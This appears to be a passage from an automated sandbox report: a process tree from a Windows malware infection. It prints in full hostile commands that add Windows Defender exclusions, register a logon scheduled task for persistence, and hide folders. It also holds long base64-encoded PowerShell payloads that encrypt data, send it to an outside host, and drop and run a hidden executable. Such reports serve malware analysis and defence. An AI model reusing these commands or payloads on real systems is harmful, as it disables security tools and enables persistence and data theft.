AC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AZQB3AHAAcgBvAGoAZQBjAHQALQBuAGUAdwB3AG8AcgBsAGQALgBpAG4AZgBvADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14228
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
        5⤵
        
        PID:1664
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
        5⤵
        
        PID:1388
- - C:\Windows\system32\a\n743.exe
    n743.exe
    3⤵
    PID:920
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe metrokingsformebetter.hta
    3⤵
    PID:2580
- - C:\Windows\system32\a\Pjibf.exe
    Pjibf.exe
    3⤵
    PID:2640
- - C:\Windows\SYSTEM32\mshta.exe
    mshta.exe goodgirlformygirltobe.hta
    3⤵
    PID:4696
- - C:\Windows\system32\a\x834.exe
    x834.exe
    3⤵
    PID:1664
- - C:\Windows\system32\a\s287.exe
    s287.exe
    3⤵
    PID:3952
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3952 -s 604
      4⤵
      Program crash
      PID:5896
- - C:\Windows\system32\a\v4343.exe
    v4343.exe
    3⤵
    PID:1416
  - - C:\Windows\system32\svchost.exe
      "C:\Windows\system32\svchost.exe"
      4⤵
      PID:6088
- - C:\Windows\system32\a\loader.exe
    loader.exe
    3⤵
    PID:1468
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6788
- - C:\Windows\system32\a\hey.exe
    hey.exe
    3⤵
    PID:5104
- - C:\Windows\system32\a\VIolet.exe
    VIolet.exe
    3⤵
    PID:3020
- - C:\Windows\system32\a\hey.exe
    hey.exe
    3⤵
    PID:324
- - C:\Windows\system32\a\Violet.exe
    Violet.exe
    3⤵
    PID:5016
- - C:\Windows\system32\a\chromelevator.exe
    chromelevator.exe
    3⤵
    PID:4180
- - C:\Windows\system32\a\conhost.exe
    conhost.exe
    3⤵
    PID:3880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin'
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
      4⤵
      PID:6964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command " $action = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\PiKqNTCbmrHPacS\SecurityUpdater.exe.exe' $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'SecurityUpdater.exe-1060' -RunLevel Highest "
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:12104
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\Google\Chrome\Application'"
      4⤵
      PID:13104
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\Google\Chrome\Application'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
      4⤵
      PID:13208
- - C:\Windows\system32\a\4J8576A0E8V3.exe
    4J8576A0E8V3.exe
    3⤵
    PID:3260
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe"
      4⤵
      PID:6884
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito
        5⤵
        
        PID:7040
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AZQB3AHAAcgBvAGoAZQBjAHQALQBuAGUAdwB3AG8AcgBsAGQALgBpAG4AZgBvADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6668
        
        C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
        7⤵
        Views/modifies file attributes
        
        PID:10908
        
        C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
        7⤵
        Views/modifies file attributes
        
        PID:12284
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
        7⤵
        
        PID:14220
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
        7⤵
        
        PID:9812
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
        7⤵
        
        PID:13264
        
        C:\Windows\system32\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force /target:computer
        7⤵
        
        PID:9500
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
        5⤵
        
        PID:7128
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
        5⤵
        
        PID:7140
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito
        5⤵
        
        PID:13340
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACA